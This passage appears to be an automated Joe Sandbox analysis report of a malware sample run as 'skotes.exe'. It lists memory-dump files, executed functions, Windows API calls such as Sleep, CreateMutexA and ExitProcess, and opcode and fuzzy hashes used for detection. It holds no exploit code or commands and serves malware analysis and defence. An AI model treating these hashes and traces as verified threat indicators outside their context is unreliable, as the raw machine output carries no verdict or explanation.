Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 310fdc3c6598d270df21dfd04ec9fc20cc839f767055ffe062576e868cedc3cb
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 0DB12132E022469FDB15CF68C8917BEBFA5EF55350F14806AE855EB262D7348D02CBE0

Function 0012BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0012BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0012BBE4
_xtime_get.LIBCPMT ref: 0012BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0012BC13

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 7503c8b749c25a234c3fdce95db08bf67b4affb945ecc924edd9b30b9b38ae9b
Instruction ID: 086bd5e8e024ca463717b75216376f78913b61aa0d7c9fa385647ef26a87239f
Opcode Fuzzy Hash: 7503c8b749c25a234c3fdce95db08bf67b4affb945ecc924edd9b30b9b38ae9b
Instruction Fuzzy Hash: 5A213071A00129AFDF00EFA4ED819BEB7B9EF18710F100029FA05B7261DB709D519BE0

Analysis Process: skotes.exePID: 5248, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	588
Total number of Limit Nodes:	4

Executed Functions

Function 00BB652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00BB652A,?,?,?,?,?,00BB7661), ref: 00BB6567

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a3ee400cc622136f4a0c18fac309079e4d0901ea06851fcc8aa26c650b9a7632
Instruction ID: 994d142a1af9e96db026b141d54f1481960934536c208ec6c5d0b303cb976a55
Opcode Fuzzy Hash: a3ee400cc622136f4a0c18fac309079e4d0901ea06851fcc8aa26c650b9a7632
Instruction Fuzzy Hash: 11E08C3011110CAFCF3A7B19C84EAED7BA9EB62745F100855F80C46226CB69ED91CA80

Function 00B89BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cb6dc677df50a14566f50e2278bcde8285263da1456452bdd772a7a825d9ec7e
Instruction ID: 36602baf94b9b940ccf832d61cad6f58f4ab1398a37e1589d76bbf08d4fcaabe
Opcode Fuzzy Hash: cb6dc677df50a14566f50e2278bcde8285263da1456452bdd772a7a825d9ec7e
Instruction Fuzzy Hash: 32311831704244DBEF18AB78DD89BADBBE2DB96310F24429DE018D72E5C7769980C752

Function 00B89F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102121116.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102213733.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102246593.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102269008.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102302681.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102603312.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102640738.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102831176.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103021393.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103264295.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103649520.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103795256.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103983773.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104179336.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104311990.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104353471.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104527218.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2104787104.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105212900.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105257860.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105293102.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105328390.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105357270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2105390169.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107308936.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107344991.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107389054.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107457807.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107497702.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107531950.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107604591.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107638575.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107686925.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107746037.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107806442.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2107878900.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108384992.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108429181.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108573451.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108710894.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108790475.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108824896.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108860179.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108891661.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2108920149.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f9981b2fa7fb502cf58969279d101b58f47228e25f203be2897a795be0676d2
Instruction ID: 10f6a17060c0c3abdbdba6dd246328e1627b6d9db8d4827e627a02d2b459449d
Opcode Fuzzy Hash: 6f9981b2fa7fb502cf58969279d101b58f47228e25f203be2897a795be0676d2
Instruction Fuzzy Hash: E0312A317042449BEF1CAB78DC99BADB7E2EB85310F24469EE018D72E5C775A980C752

Function 00B8A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000002.00000002.2101911667.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101951390.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
